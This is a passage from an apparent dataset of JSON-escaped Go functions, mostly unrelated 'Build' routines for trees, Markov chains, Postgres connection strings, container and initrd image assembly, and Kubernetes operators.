ast.Struct:\n\t\t\tq.IsStruct = true\n\t\t\tfor _, f := range kind.Fields {\n\t\t\t\tq.Fields = append(q.Fields, Query{\n\t\t\t\t\tName: f.Name,\n\t\t\t\t\tAlias: f.Alias,\n\t\t\t\t\tIsBuiltin: true,\n\t\t\t\t\tIndex: index + 1,\n\t\t\t\t\tType: f.Type.RawTypeName(),\n\t\t\t\t})\n\t\t\t}\n\t\t\tt = nil\n\t\t}\n\n\t\tif t == nil {\n\t\t\tbreak\n\t\t}\n\n\t\tnext := &Query{}\n\n\t\tq.Next = next\n\n\t\tq = next\n\t\tindex++\n\t}\n\n\treturn root\n}", "func AVLBuild(args []string) (root *Node) {\n\tfor _, str := range args {\n\t\tvalue, err := strconv.Atoi(str)\n\t\tif err != nil {\n\t\t\tlog.Print(err)\n\t\t\tcontinue\n\t\t}\n\t\troot, _ = AVLInsert(root, value)\n\t\tif !BSTProperty(root) {\n\t\t\tfmt.Fprintf(os.Stderr, \"Inserted %d, no longer has BST property\\n\", value)\n\t\t}\n\t}\n\treturn root\n}", "func (b *IntervalBuilder) Build(from, to time.Time) Interval {\n\tret := Interval{\n\t\tCondition: b.BuildCondition(),\n\t\tDisplay: b.display,\n\t\tSource: b.source,\n\t\tFrom: from,\n\t\tTo: to,\n\t}\n\n\treturn ret\n}", "func (c *Chain) Build(r io.Reader) {\n\tbr := bufio.NewReader(r)\n\tp := make(Prefix, c.prefixLen)\n\tfor {\n\t\tvar s string\n\t\tif _, err := fmt.Fscan(br, &s); err != nil {\n\t\t\tbreak\n\t\t}\n\t\tc.words[s] = true\n\t\tkey := p.String()\n\t\tc.chain[key] = append(c.chain[key], s)\n\t\tp.Shift(s)\n\t}\n}", "func MakeProductOperator(op *Operator, operands map[string]string) {\n\tinvertRight := operands[\"invertright\"] == \"yes\"\n\tparent1 := op.Parents[0]\n\tparent2 := op.Parents[1]\n\tvar matrix1 map[[2]int]*MatrixData\n\tvar matrix2 map[[2]int]*MatrixData\n\n\top.InitFunc = func(frame *Frame) {\n\t\tdriver.DeleteMatrixAfter(op.Name, frame.Time)\n\t\tmatrix1 = driver.LoadMatrixBefore(parent1.Name, frame.Time)\n\t\tmatrix2 = driver.LoadMatrixBefore(parent2.Name, frame.Time)\n\t\top.updateChildRerunTime(frame.Time)\n\t}\n\n\top.Func = func(frame *Frame, pd ParentData) {\n\t\tnewCells := make(map[[2]int]bool)\n\t\tfor _, md := range pd.MatrixData[0] {\n\t\t\tcell := [2]int{md.I, md.J}\n\t\t\tmatrix1[cell] = md\n\t\t\tnewCells[cell] = true\n\t\t}\n\t\tfor _, md := range pd.MatrixData[1] {\n\t\t\tcell := [2]int{md.I, md.J}\n\t\t\tmatrix2[cell] = md\n\t\t\tnewCells[cell] = true\n\t\t}\n\t\tfor cell := range newCells {\n\t\t\tif matrix1[cell] == nil || matrix2[cell] == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tleft := matrix1[cell].Val\n\t\t\tright := matrix2[cell].Val\n\t\t\tif invertRight {\n\t\t\t\tright = 1 - right\n\t\t\t}\n\t\t\tAddMatrixData(op.Name, cell[0], cell[1], left * right, \"\", frame.Time)\n\t\t}\n\t}\n\n\top.Loader = op.MatrixLoader\n}", "func (qb *HuxQueryBuilder) Build() huxQuery {\n\tif qb.queryStation == \"\" {\n\t\tpanic(\"Query station must be set\")\n\t}\n\n\tstr := \"/\" + qb.queryStation\n\n\t// Optional filter parameters\n\tif qb.filterDirection != \"\" && qb.filterStation != \"\" {\n\t\tstr = str + \"/\" + string(qb.filterDirection) + \"/\" + qb.filterStation\n\t}\n\n\tif qb.numRows != 0 {\n\t\tstr = fmt.Sprintf(\"%s/%d\", str, qb.numRows)\n\t}\n\n\treturn huxQuery(str)\n}", "func WithBuild(cfg *v1alpha1.Configuration) {\n\tcfg.Spec.Build = &v1alpha1.RawExtension{\n\t\tObject: &unstructured.Unstructured{\n\t\t\tObject: map[string]interface{}{\n\t\t\t\t\"apiVersion\": \"testing.build.knative.dev/v1alpha1\",\n\t\t\t\t\"kind\": \"Build\",\n\t\t\t\t\"spec\": map[string]interface{}{\n\t\t\t\t\t\"steps\": []interface{}{\n\t\t\t\t\t\tmap[string]interface{}{\n\t\t\t\t\t\t\t\"image\": \"foo\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\tmap[string]interface{}{\n\t\t\t\t\t\t\t\"image\": \"bar\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n}", "func (h *Handler) Build(name string, params Params) (string, error) {\n\tb, ok := h.router.(Builder)\n\tif !ok {\n\t\treturn \"\", errors.New(\"mux: router is not a Builder\")\n\t}\n\treturn b.Build(name, params)\n}", "func (t *targetBuilder) build() *rule.Rule {\n\tr := rule.NewRule(t.kind, t.name)\n\tif !t.srcs.Empty() {\n\t\tr.SetAttr(\"srcs\", t.srcs.Values())\n\t}\n\tif !t.visibility.Empty() {\n\t\tr.SetAttr(\"visibility\", t.visibility.Values())\n\t}\n\tif t.main != nil {\n\t\tr.SetAttr(\"main\", *t.main)\n\t}\n\tif t.imports != nil {\n\t\tr.SetAttr(\"imports\", t.imports)\n\t}\n\tif !t.deps.Empty() {\n\t\tr.SetPrivateAttr(config.GazelleImportsKey, t.deps)\n\t}\n\tif t.testonly {\n\t\tr.SetAttr(\"testonly\", true)\n\t}\n\tr.SetPrivateAttr(resolvedDepsKey, t.resolvedDeps)\n\treturn r\n}", "func (builder *appGwConfigBuilder) Build() *network.ApplicationGatewayPropertiesFormat {\n\tconfig := builder.appGwConfig\n\treturn &config\n}", "func (conf PostgresConfig) Build() string {\n\tconst formatParam = \"%s=%s \"\n\tvar buffer bytes.Buffer\n\n\tif conf.Database != \"\" {\n\t\tbuffer.WriteString(fmt.Sprintf(formatParam, \"dbname\", conf.Database))\n\t}\n\n\tif conf.UserID != \"\" {\n\t\tbuffer.WriteString(fmt.Sprintf(formatParam, \"user\", conf.UserID))\n\t}\n\n\tif conf.Password != \"\" {\n\t\tbuffer.WriteString(fmt.Sprintf(formatParam, \"password\", conf.Password))\n\t}\n\n\tif conf.Host != nil {\n\t\tbuffer.WriteString(fmt.Sprintf(formatParam, \"host\", *conf.Host))\n\t}\n\n\tif conf.Port != nil {\n\t\tbuffer.WriteString(fmt.Sprintf(formatParam, \"port\", strconv.Itoa(*conf.Port)))\n\t}\n\n\tif conf.SslMode != \"\" {\n\t\tbuffer.WriteString(fmt.Sprintf(formatParam, \"sslmode\", conf.SslMode))\n\t}\n\n\tif conf.ConnectionTimeout != nil {\n\t\tbuffer.WriteString(fmt.Sprintf(formatParam, \"connect_timeout\", strconv.Itoa(*conf.ConnectionTimeout)))\n\t}\n\n\treturn buffer.String()\n}", "func buildInternal(name string, pull bool, conf string) {\n\tif name == \"\" {\n\t\tname = filepath.Base(conf)\n\t\text := filepath.Ext(conf)\n\t\tif ext != \"\" {\n\t\t\tname = name[:len(name)-len(ext)]\n\t\t}\n\t}\n\n\tconfig, err := ioutil.ReadFile(conf)\n\tif err != nil {\n\t\tlog.Fatalf(\"Cannot open config file: %v\", err)\n\t}\n\n\tm, err := NewConfig(config)\n\tif err != nil {\n\t\tlog.Fatalf(\"Invalid config: %v\", err)\n\t}\n\n\tw := new(bytes.Buffer)\n\tiw := initrd.NewWriter(w)\n\n\tif pull || enforceContentTrust(m.Kernel.Image, &m.Trust) {\n\t\tlog.Infof(\"Pull kernel image: %s\", m.Kernel.Image)\n\t\terr := dockerPull(m.Kernel.Image, enforceContentTrust(m.Kernel.Image, &m.Trust))\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Could not pull image %s: %v\", m.Kernel.Image, err)\n\t\t}\n\t}\n\t// get kernel bzImage and initrd tarball from container\n\t// TODO examine contents to see what names they might have\n\tlog.Infof(\"Extract kernel image: %s\", m.Kernel.Image)\n\tconst (\n\t\tbzimageName = \"bzImage\"\n\t\tktarName = \"kernel.tar\"\n\t)\n\tout, err := dockerRun(m.Kernel.Image, \"tar\", \"cf\", \"-\", bzimageName, ktarName)\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to extract kernel image and tarball: %v\", err)\n\t}\n\tbuf := bytes.NewBuffer(out)\n\tbzimage, ktar, err := untarKernel(buf, bzimageName, ktarName)\n\tif err != nil {\n\t\tlog.Fatalf(\"Could not extract bzImage and kernel filesystem from tarball. %v\", err)\n\t}\n\tinitrdAppend(iw, ktar)\n\n\t// convert init images to tarballs\n\tlog.Infof(\"Add init containers:\")\n\tfor _, ii := range m.Init {\n\t\tif pull || enforceContentTrust(ii, &m.Trust) {\n\t\t\tlog.Infof(\"Pull init image: %s\", ii)\n\t\t\terr := dockerPull(ii, enforceContentTrust(ii, &m.Trust))\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"Could not pull image %s: %v\", ii, err)\n\t\t\t}\n\t\t}\n\t\tlog.Infof(\"Process init image: %s\", ii)\n\t\tinit, err := ImageExtract(ii, \"\")\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Failed to build init tarball from %s: %v\", ii, err)\n\t\t}\n\t\tbuffer := bytes.NewBuffer(init)\n\t\tinitrdAppend(iw, buffer)\n\t}\n\n\tlog.Infof(\"Add onboot containers:\")\n\tfor i, image := range m.Onboot {\n\t\tif pull || enforceContentTrust(image.Image, &m.Trust) {\n\t\t\tlog.Infof(\" Pull: %s\", image.Image)\n\t\t\terr := dockerPull(image.Image, enforceContentTrust(image.Image, &m.Trust))\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"Could not pull image %s: %v\", image.Image, err)\n\t\t\t}\n\t\t}\n\t\tlog.Infof(\" Create OCI config for %s\", image.Image)\n\t\tconfig, err := ConfigToOCI(&image)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Failed to create config.json for %s: %v\", image.Image, err)\n\t\t}\n\t\tso := fmt.Sprintf(\"%03d\", i)\n\t\tpath := \"containers/onboot/\" + so + \"-\" + image.Name\n\t\tout, err := ImageBundle(path, image.Image, config)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Failed to extract root filesystem for %s: %v\", image.Image, err)\n\t\t}\n\t\tbuffer := bytes.NewBuffer(out)\n\t\tinitrdAppend(iw, buffer)\n\t}\n\n\tlog.Infof(\"Add service containers:\")\n\tfor _, image := range m.Services {\n\t\tif pull || enforceContentTrust(image.Image, &m.Trust) {\n\t\t\tlog.Infof(\" Pull: %s\", image.Image)\n\t\t\terr := dockerPull(image.Image, enforceContentTrust(image.Image, &m.Trust))\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"Could not pull image %s: %v\", image.Image, err)\n\t\t\t}\n\t\t}\n\t\tlog.Infof(\" Create OCI config for %s\", image.Image)\n\t\tconfig, err := ConfigToOCI(&image)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Failed to create config.json for %s: %v\", image.Image, err)\n\t\t}\n\t\tpath := \"containers/services/\" + image.Name\n\t\tout, err := ImageBundle(path, image.Image, config)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Failed to extract root filesystem for %s: %v\", image.Image, err)\n\t\t}\n\t\tbuffer := bytes.NewBuffer(out)\n\t\tinitrdAppend(iw, buffer)\n\t}\n\n\t// add files\n\tbuffer, err := filesystem(m)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to add filesystem parts: %v\", err)\n\t}\n\tinitrdAppend(iw, buffer)\n\terr = iw.Close()\n\tif err != nil {\n\t\tlog.Fatalf(\"initrd close error: %v\", err)\n\t}\n\n\tlog.Infof(\"Create outputs:\")\n\terr = outputs(m, name, bzimage.Bytes(), w.Bytes())\n\tif err != nil {\n\t\tlog.Fatalf(\"Error writing outputs: %v\", err)\n\t}\n}", "func (c Closer) Build() string {\n\tb := strings.Builder{}\n\tb.WriteString(\"(\")\n\n\tfor arg := range c.Value {\n\t\tb.WriteString(c.Value[arg].Build())\n\t}\n\n\tb.WriteString(\") \")\n\treturn b.String()\n}", "func Build(input PairSlice) (vm FstVM, err error) {\n\tm := buildMast(input)\n\treturn m.compile()\n}", "func newFromValue(clusterClient kubernetes.Interface, client k8s.Interface, wfr *v1alpha1.WorkflowRun, namespace string) (Operator, error) {\n\tf, err := client.CycloneV1alpha1().Workflows(namespace).Get(context.TODO(), wfr.Spec.WorkflowRef.Name, metav1.GetOptions{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &operator{\n\t\tclusterClient: clusterClient,\n\t\tclient: client,\n\t\trecorder: common.GetEventRecorder(client, common.EventSourceWfrController),\n\t\twf: f,\n\t\twfr: wfr,\n\t}, nil\n}", "func (*SpecFactory) Build(resource string) runtime.Object {\n\n\tswitch resource {\n\tcase \"services\":\n\t\treturn &v1.Service{}\n\tcase \"configmaps\":\n\t\treturn &v1.ConfigMap{}\n\t}\n\n\tpanic(fmt.Errorf(\"no resource mapped for %s\", resource))\n}", "func NewConfigure(p fsm.ExecutorParams, operator ops.Operator) (fsm.PhaseExecutor, error) {\n\tlogger := &fsm.Logger{\n\t\tFieldLogger: logrus.WithFields(logrus.Fields{\n\t\t\tconstants.FieldPhase: p.Phase.ID,\n\t\t}),\n\t\tKey: opKey(p.Plan),\n\t\tOperator: operator,\n\t}\n\tvar env map[string]string\n\tvar config []byte\n\tif p.Phase.Data != nil && p.Phase.Data.Install != nil {\n\t\tenv = p.Phase.Data.Install.Env\n\t\tconfig = p.Phase.Data.Install.Config\n\t}\n\treturn &configureExecutor{\n\t\tFieldLogger: logger,\n\t\tOperator: operator,\n\t\tExecutorParams: p,\n\t\tenv: env,\n\t\tconfig: config,\n\t}, nil\n}", "func BuildConfig() *utils.GraphQLConfig {\n\tconfig := &utils.GraphQLConfig{}\n\tflag.Usage = func() {\n\t\tconfig.OutputUsage()\n\t\tos.Exit(0)\n\t}\n\tflag.Parse()\n\terr := config.PopulateFromEnv()\n\tif err != nil {\n\t\tconfig.OutputUsage()\n\t\tlog.Errorf(\"Invalid graphql config: err: %v\\n\", err)\n\t\tos.Exit(2)\n\t}\n\n\treturn config\n}", "func Build() error {\n\tstart := time.Now()\n\n\tconfigContent, err := ioutil.ReadFile(env.ConfigPath)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not load local config\")\n\t}\n\n\tconfig, err := (&website.Config{}).Parse(string(configContent))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not parse local config: %v\", err)\n\t}\n\n\tquery, err := config.Query()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not generate query from config: %v\", err)\n\t}\n\n\tdataReq, err := http.NewRequest(\"POST\", env.GraphQLEndpoint, bytes.NewReader(query))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not create data request: %v\", err)\n\t}\n\tdataReq.Header.Add(\"Authorization\", fmt.Sprintf(\"bearer %v\", env.GraphQLToken))\n\n\tdataRes, err := (&http.Client{}).Do(dataReq)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"request for data failed\")\n\t}\n\n\tdataBody := &bytes.Buffer{}\n\t_, err = io.Copy(dataBody, dataRes.Body)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not read data response: %v\", err)\n\t}\n\n\tdata, err := (&website.Data{}).Parse(dataBody.String())\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not parse received data: %v\", err)\n\t}\n\n\tfor i := 0; i < len(config.Creations); i++ {\n\t\tdata.Creations = append(data.Creations, &website.CreationData{\n\t\t\tTitle: config.Creations[i].Title,\n\t\t\tImageURL: config.Creations[i].ImageURL,\n\t\t\tBackgroundColor: config.Creations[i].BackgroundColor,\n\t\t})\n\t}\n\n\toutput, err := website.Render(env.TemplateDir, env.TemplateEntry, data)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not render templates: %v\", err)\n\t}\n\n\terr = ioutil.WriteFile(env.OutputFile, output.Bytes(), 0644)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not write rendered output to file: %v\", err)\n\t}\n\n\tfmt.Printf(\"built in %v\\n\", time.Since(start))\n\n\treturn nil\n}", "func New(\n\tnamespace, name, imagesFile string,\n\tmcpInformer mcfginformersv1.MachineConfigPoolInformer,\n\tmcInformer mcfginformersv1.MachineConfigInformer,\n\tcontrollerConfigInformer mcfginformersv1.ControllerConfigInformer,\n\tserviceAccountInfomer coreinformersv1.ServiceAccountInformer,\n\tcrdInformer apiextinformersv1.CustomResourceDefinitionInformer,\n\tdeployInformer appsinformersv1.DeploymentInformer,\n\tdaemonsetInformer appsinformersv1.DaemonSetInformer,\n\tclusterRoleInformer rbacinformersv1.ClusterRoleInformer,\n\tclusterRoleBindingInformer rbacinformersv1.ClusterRoleBindingInformer,\n\tmcoCmInformer,\n\tclusterCmInfomer coreinformersv1.ConfigMapInformer,\n\tinfraInformer configinformersv1.InfrastructureInformer,\n\tnetworkInformer configinformersv1.NetworkInformer,\n\tproxyInformer configinformersv1.ProxyInformer,\n\tdnsInformer configinformersv1.DNSInformer,\n\tclient mcfgclientset.Interface,\n\tkubeClient kubernetes.Interface,\n\tapiExtClient apiextclientset.Interface,\n\tconfigClient configclientset.Interface,\n\toseKubeAPIInformer coreinformersv1.ConfigMapInformer,\n\tnodeInformer coreinformersv1.NodeInformer,\n\tmaoSecretInformer coreinformersv1.SecretInformer,\n\timgInformer configinformersv1.ImageInformer,\n) *Operator {\n\teventBroadcaster := record.NewBroadcaster()\n\teventBroadcaster.StartLogging(klog.Infof)\n\teventBroadcaster.StartRecordingToSink(&coreclientsetv1.EventSinkImpl{Interface: kubeClient.CoreV1().Events(\"\")})\n\n\toptr := &Operator{\n\t\tnamespace: namespace,\n\t\tname: name,\n\t\timagesFile: imagesFile,\n\t\tvStore: newVersionStore(),\n\t\tclient: client,\n\t\tkubeClient: kubeClient,\n\t\tapiExtClient: apiExtClient,\n\t\tconfigClient: configClient,\n\t\teventRecorder: ctrlcommon.NamespacedEventRecorder(eventBroadcaster.NewRecorder(scheme.Scheme, corev1.EventSource{Component: \"machineconfigoperator\"})),\n\t\tlibgoRecorder: events.NewRecorder(kubeClient.CoreV1().Events(ctrlcommon.MCONamespace), \"machine-config-operator\", &corev1.ObjectReference{\n\t\t\tKind: \"Deployment\",\n\t\t\tName: \"machine-config-operator\",\n\t\t\tNamespace: ctrlcommon.MCONamespace,\n\t\t\tAPIVersion: \"apps/v1\",\n\t\t}),\n\t\tqueue: workqueue.NewNamedRateLimitingQueue(workqueue.DefaultControllerRateLimiter(), \"machineconfigoperator\"),\n\t}\n\n\tfor _, i := range []cache.SharedIndexInformer{\n\t\tcontrollerConfigInformer.Informer(),\n\t\tserviceAccountInfomer.Informer(),\n\t\tcrdInformer.Informer(),\n\t\tdeployInformer.Informer(),\n\t\tdaemonsetInformer.Informer(),\n\t\tclusterRoleInformer.Informer(),\n\t\tclusterRoleBindingInformer.Informer(),\n\t\tmcoCmInformer.Informer(),\n\t\tclusterCmInfomer.Informer(),\n\t\tinfraInformer.Informer(),\n\t\tnetworkInformer.Informer(),\n\t\tmcpInformer.Informer(),\n\t\tproxyInformer.Informer(),\n\t\toseKubeAPIInformer.Informer(),\n\t\tnodeInformer.Informer(),\n\t\tdnsInformer.Informer(),\n\t\tmaoSecretInformer.Informer(),\n\t} {\n\t\ti.AddEventHandler(optr.eventHandler())\n\t}\n\n\toptr.syncHandler = optr.sync\n\n\toptr.imgLister = imgInformer.Lister()\n\toptr.clusterCmLister = clusterCmInfomer.Lister()\n\toptr.clusterCmListerSynced = clusterCmInfomer.Informer().HasSynced\n\toptr.mcpLister = mcpInformer.Lister()\n\toptr.mcpListerSynced = mcpInformer.Informer().HasSynced\n\toptr.ccLister = controllerConfigInformer.Lister()\n\toptr.ccListerSynced = controllerConfigInformer.Informer().HasSynced\n\toptr.mcLister = mcInformer.Lister()\n\toptr.mcListerSynced = mcInformer.Informer().HasSynced\n\toptr.proxyLister = proxyInformer.Lister()\n\toptr.proxyListerSynced = proxyInformer.Informer().HasSynced\n\toptr.oseKubeAPILister = oseKubeAPIInformer.Lister()\n\toptr.oseKubeAPIListerSynced = oseKubeAPIInformer.Informer().HasSynced\n\toptr.nodeLister = nodeInformer.Lister()\n\toptr.nodeListerSynced = nodeInformer.Informer().HasSynced\n\n\toptr.imgListerSynced = imgInformer.Informer().HasSynced\n\toptr.maoSecretInformerSynced = maoSecretInformer.Informer().HasSynced\n\toptr.serviceAccountInformerSynced = serviceAccountInfomer.Informer().HasSynced\n\toptr.clusterRoleInformerSynced = clusterRoleInformer.Informer().HasSynced\n\toptr.clusterRoleBindingInformerSynced = clusterRoleBindingInformer.Informer().HasSynced\n\toptr.mcoCmLister = mcoCmInformer.Lister()\n\toptr.mcoCmListerSynced = mcoCmInformer.Informer().HasSynced\n\toptr.crdLister = crdInformer.Lister()\n\toptr.crdListerSynced = crdInformer.Informer().HasSynced\n\toptr.deployLister = deployInformer.Lister()\n\toptr.deployListerSynced = deployInformer.Informer().HasSynced\n\toptr.daemonsetLister = daemonsetInformer.Lister()\n\toptr.daemonsetListerSynced = daemonsetInformer.Informer().HasSynced\n\toptr.infraLister = infraInformer.Lister()\n\toptr.infraListerSynced = infraInformer.Informer().HasSynced\n\toptr.networkLister = networkInformer.Lister()\n\toptr.networkListerSynced = networkInformer.Informer().HasSynced\n\toptr.dnsLister = dnsInformer.Lister()\n\toptr.dnsListerSynced = dnsInformer.Informer().HasSynced\n\n\toptr.vStore.Set(\"operator\", version.ReleaseVersion)\n\n\treturn optr\n}", "func (b *Builder) Build() (*RollDPoS, error) {\n\tif b.chain == nil {\n\t\treturn nil, errors.Wrap(ErrNewRollDPoS, \"blockchain APIs is nil\")\n\t}\n\tif b.broadcastHandler == nil {\n\t\treturn nil, errors.Wrap(ErrNewRollDPoS, \"broadcast callback is nil\")\n\t}\n\tif b.clock == nil {\n\t\tb.clock = clock.New()\n\t}\n\tb.cfg.DB.DbPath = b.cfg.Consensus.ConsensusDBPath\n\tctx, err := NewRollDPoSCtx(\n\t\tconsensusfsm.NewConsensusConfig(b.cfg.Consensus.FSM, b.cfg.DardanellesUpgrade, b.cfg.Genesis, b.cfg.Consensus.Delay),\n\t\tb.cfg.DB,\n\t\tb.cfg.SystemActive,\n\t\tb.cfg.Consensus.ToleratedOvertime,\n\t\tb.cfg.Genesis.TimeBasedRotation,\n\t\tb.chain,\n\t\tb.blockDeserializer,\n\t\tb.rp,\n\t\tb.broadcastHandler,\n\t\tb.delegatesByEpochFunc,\n\t\tb.proposersByEpochFunc,\n\t\tb.encodedAddr,\n\t\tb.priKey,\n\t\tb.clock,\n\t\tb.cfg.Genesis.BeringBlockHeight,\n\t)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"error when constructing consensus context\")\n\t}\n\tcfsm, err := consensusfsm.NewConsensusFSM(ctx, b.clock)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"error when constructing the consensus FSM\")\n\t}\n\treturn &RollDPoS{\n\t\tcfsm: cfsm,\n\t\tctx: ctx,\n\t\tstartDelay: b.cfg.Consensus.Delay,\n\t\tready: make(chan interface{}),\n\t}, nil\n}", "func (b fileInputBuilder) Build(ctx context.Context, cfg task.ExecutorInputBuilderConfig, deps task.ExecutorInputBuilderDependencies, target *task.ExecutorInputBuilderTarget) error {\n\turi := cfg.AnnotatedValue.GetData()\n\tdeps.Log.Debug().\n\t\tInt(\"sequence-index\", cfg.AnnotatedValueIndex).\n\t\tStr(\"uri\", uri).\n\t\tStr(\"input\", cfg.InputSpec.Name).\n\t\tStr(\"task\", cfg.TaskSpec.Name).\n\t\tMsg(\"Preparing file input value\")\n\n\t// Prepare readonly volume for URI\n\tresp, err := deps.FileSystem.CreateVolumeForRead(ctx, &fs.CreateVolumeForReadRequest{\n\t\tURI: uri,\n\t\tOwner: &cfg.OwnerRef,\n\t\tNamespace: cfg.Pipeline.GetNamespace(),\n\t})\n\tif err != nil {\n\t\treturn maskAny(err)\n\t}\n\t// TODO handle case where node is different\n\tif nodeName := resp.GetNodeName(); nodeName != \"\" {\n\t\ttarget.NodeName = &nodeName\n\t}\n\n\t// Mount PVC or HostPath, depending on result\n\tvolName := util.FixupKubernetesName(fmt.Sprintf(\"input-%s-%d\", cfg.InputSpec.Name, cfg.AnnotatedValueIndex))\n\tif resp.GetVolumeName() != \"\" {\n\t\t// Get created PersistentVolume\n\t\tvar pv corev1.PersistentVolume\n\t\tpvKey := client.ObjectKey{\n\t\t\tName: resp.GetVolumeName(),\n\t\t}\n\t\tif err := deps.Client.Get(ctx, pvKey, &pv); err != nil {\n\t\t\tdeps.Log.Warn().Err(err).Msg(\"Failed to get PersistentVolume\")\n\t\t\treturn maskAny(err)\n\t\t}\n\n\t\t// Add PV to resources for deletion list (if needed)\n\t\tif resp.DeleteAfterUse {\n\t\t\ttarget.Resources = append(target.Resources, &pv)\n\t\t}\n\n\t\t// Create PVC\n\t\tpvcName := util.FixupKubernetesName(fmt.Sprintf(\"%s-%s-%s-%d-%s\", cfg.Pipeline.GetName(), cfg.TaskSpec.Name, cfg.InputSpec.Name, cfg.AnnotatedValueIndex, uniuri.NewLen(6)))\n\t\tstorageClassName := pv.Spec.StorageClassName\n\t\tpvc := corev1.PersistentVolumeClaim{\n\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\tName: pvcName,\n\t\t\t\tNamespace: cfg.Pipeline.GetNamespace(),\n\t\t\t\tOwnerReferences: []metav1.OwnerReference{cfg.OwnerRef},\n\t\t\t},\n\t\t\tSpec: corev1.PersistentVolumeClaimSpec{\n\t\t\t\tAccessModes: pv.Spec.AccessModes,\n\t\t\t\tVolumeName: resp.GetVolumeName(),\n\t\t\t\tResources: corev1.ResourceRequirements{\n\t\t\t\t\tRequests: pv.Spec.Capacity,\n\t\t\t\t},\n\t\t\t\tStorageClassName: &storageClassName,\n\t\t\t},\n\t\t}\n\t\tif err := deps.Client.Create(ctx, &pvc); err != nil {\n\t\t\treturn maskAny(err)\n\t\t}\n\t\ttarget.Resources = append(target.Resources, &pvc)\n\n\t\t// Add volume for the pod\n\t\tvol := corev1.Volume{\n\t\t\tName: volName,\n\t\t\tVolumeSource: corev1.VolumeSource{\n\t\t\t\tPersistentVolumeClaim: &corev1.PersistentVolumeClaimVolumeSource{\n\t\t\t\t\tClaimName: pvcName,\n\t\t\t\t\tReadOnly: true,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t\ttarget.Pod.Spec.Volumes = append(target.Pod.Spec.Volumes, vol)\n\t} else if resp.GetVolumeClaimName() != \"\" {\n\t\t// Add PVC to resources for deletion list (if needed)\n\t\tif resp.DeleteAfterUse {\n\t\t\t// Get created PersistentVolume\n\t\t\tvar pvc corev1.PersistentVolumeClaim\n\t\t\tpvcKey := client.ObjectKey{\n\t\t\t\tName: resp.GetVolumeClaimName(),\n\t\t\t\tNamespace: cfg.Pipeline.GetNamespace(),\n\t\t\t}\n\t\t\tif err := deps.Client.Get(ctx, pvcKey, &pvc); err != nil {\n\t\t\t\tdeps.Log.Warn().Err(err).Msg(\"Failed to get PersistentVolumeClaim\")\n\t\t\t\treturn maskAny(err)\n\t\t\t}\n\t\t\ttarget.Resources = append(target.Resources, &pvc)\n\t\t}\n\n\t\t// Add volume for the pod, unless such a volume already exists\n\t\tif vol, found := util.GetVolumeWithForPVC(&target.Pod.Spec, resp.GetVolumeClaimName()); !found {\n\t\t\tvol := corev1.Volume{\n\t\t\t\tName: volName,\n\t\t\t\tVolumeSource: corev1.VolumeSource{\n\t\t\t\t\tPersistentVolumeClaim: &corev1.PersistentVolumeClaimVolumeSource{\n\t\t\t\t\t\tClaimName: resp.GetVolumeClaimName(),\n\t\t\t\t\t\tReadOnly: true,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t\ttarget.Pod.Spec.Volumes = append(target.Pod.Spec.Volumes, vol)\n\t\t} else {\n\t\t\tvolName = vol.Name\n\t\t}\n\t} else if resp.GetVolumePath() != \"\" {\n\t\t// Mount VolumePath as HostPath volume\n\t\tdirType := corev1.HostPathDirectoryOrCreate\n\t\t// Add volume for the pod\n\t\tvol := corev1.Volume{\n\t\t\tName: volName,\n\t\t\tVolumeSource: corev1.VolumeSource{\n\t\t\t\tHostPath: &corev1.HostPathVolumeSource{\n\t\t\t\t\tPath: resp.GetVolumePath(),\n\t\t\t\t\tType: &dirType,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t\ttarget.Pod.Spec.Volumes = append(target.Pod.Spec.Volumes, vol)\n\t\t// Ensure pod is schedule on node\n\t\tif nodeName := resp.GetNodeName(); nodeName != \"\" {\n\t\t\tif target.Pod.Spec.NodeName == \"\" {\n\t\t\t\ttarget.Pod.Spec.NodeName = nodeName\n\t\t\t} else if target.Pod.Spec.NodeName != nodeName {\n\t\t\t\t// Found conflict\n\t\t\t\tdeps.Log.Error().\n\t\t\t\t\tStr(\"pod-nodeName\", target.Pod.Spec.NodeName).\n\t\t\t\t\tStr(\"pod-nodeNameRequest\", nodeName).\n\t\t\t\t\tMsg(\"Conflicting pod node spec\")\n\t\t\t\treturn maskAny(fmt.Errorf(\"Conflicting Node assignment\"))\n\t\t\t}\n\t\t}\n\t} else {\n\t\t// No valid respond\n\t\treturn maskAny(fmt.Errorf(\"FileSystem service return invalid response\"))\n\t}\n\n\t// Map volume in container fs namespace\n\tmountPath := filepath.Join(\"/koalja\", \"inputs\", cfg.InputSpec.Name, strconv.Itoa(cfg.AnnotatedValueIndex))\n\ttarget.Container.VolumeMounts = append(target.Container.VolumeMounts, corev1.VolumeMount{\n\t\tName: volName,\n\t\tReadOnly: true,\n\t\tMountPath: mountPath,\n\t\tSubPath: resp.GetSubPath(),\n\t})\n\n\t// Create template data\n\ttarget.TemplateData = 